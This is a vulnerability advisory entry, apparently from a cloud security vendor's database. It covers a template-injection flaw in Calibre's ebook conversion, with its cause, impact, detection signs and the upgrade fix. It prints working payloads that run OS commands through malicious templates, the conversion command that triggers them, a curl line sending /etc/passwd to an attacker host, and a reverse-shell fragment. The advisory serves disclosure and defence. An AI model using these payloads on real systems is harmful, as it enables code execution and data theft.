
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-25731 is a Server-Side Template Injection (SSTI) vulnerability in Calibre's Templite templating engine that allows arbitrary code execution during ebook conversion. It affects all versions of Calibre prior to 9.2.0 and is triggered when a user converts an ebook using a malicious custom template file supplied via the --template-html or --template-html-index command-line options. The vulnerability was published on February 6, 2026, and patched in version 9.2.0 released shortly after. It carries a CVSS v3.1 base score of 7.8 (High) (GitHub Advisory, Feedly).
The root cause is classified as CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The Templite engine in src/templite/__init__.py compiles user-supplied template content using Python's compile() function and evaluates it via eval() without any sandboxing or input validation. In src/calibre/ebooks/conversion/plugins/html_output.py, user-supplied template files passed via --template-html or --template-html-index are read directly from disk and fed into this vulnerable engine, allowing embedded Python expressions such as ${emit(__import__("os").popen("id").read())}$ to execute arbitrary OS commands. The fix in version 9.2.0 replaces the Templite engine with the Mustache templating library (pystache), which does not support arbitrary code evaluation (GitHub Advisory, Patch Commit).
Successful exploitation results in arbitrary code execution with the privileges of the user running Calibre, yielding high impact to confidentiality, integrity, and availability. An attacker can read sensitive files (e.g., /etc/passwd), exfiltrate data, establish reverse shells, or modify system state. While the attack vector is local and requires user interaction (the victim must run a conversion with a malicious template), the attack complexity is low and no privileges are required, making social engineering a viable delivery mechanism — for example, distributing a malicious template via forums, GitHub, or community sites (GitHub Advisory).
A public proof-of-concept (PoC) exploit is available on GitHub at https://github.com/dxlerYT/CVE-2026-25731, added on March 2, 2026. The official GitHub Security Advisory also includes detailed PoC payloads demonstrating command execution, file exfiltration, and reverse shell establishment. As of the available data, there is no confirmed evidence of in-the-wild exploitation, no threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.008% (0.000080), indicating a currently low probability of exploitation in the wild (Feedly, GitHub Advisory, PoC).
malicious_template.tmpl) containing an SSTI payload using Calibre's Templite syntax, such as:${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$ebook-convert input.epub output.zip --template-html=malicious_template.tmplhtml_output.py reads the template file and passes it to the Templite engine, which compiles and evaluates the embedded Python expression via eval(), executing the attacker's payload with the victim's OS privileges.curl -d @/etc/passwd attacker.com) or establishing a reverse shell (python3 -c 'import socket,subprocess;...') (GitHub Advisory, PoC).ebook-convert or Calibre process, such as /bin/sh, curl, wget, python3, or bash./tmp/ (e.g., /tmp/pwned.txt) or other writable directories following an ebook conversion operation; presence of unfamiliar .tmpl or .mustache template files in user directories.ebook-convert invocations with --template-html or --template-html-index flags pointing to external or recently downloaded template files (GitHub Advisory).Upgrade Calibre to version 9.2.0 or later, which replaces the vulnerable Templite engine with the Mustache templating library (pystache), eliminating the arbitrary code evaluation path. The fix was committed on February 17, 2026. As a workaround prior to patching, avoid using custom template files from untrusted sources with the --template-html or --template-html-index options, and restrict command-line access to these flags in automated pipeline environments. Users in organizational settings should audit any existing custom templates for malicious payloads (Patch Commit, GitHub Advisory, Feedly).
The vulnerability was credited to researcher dxlerYT, who also published a public PoC repository on GitHub. Brief mentions appeared on Mastodon via @thehackerwire shortly after disclosure. Red Hat tracked the CVE in their security advisory database. No major vendor statements beyond the official Calibre advisory or significant media coverage have been identified (GitHub Advisory, Red Hat).
Fix availability across major Linux distributions and their releases.
bookworm
calibre: 6.13.0+repack-2+deb12u6
sid
calibre: 9.2.0+ds+~0.10.5-1
trixie
calibre: 8.5.0+ds-1+deb13u2
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."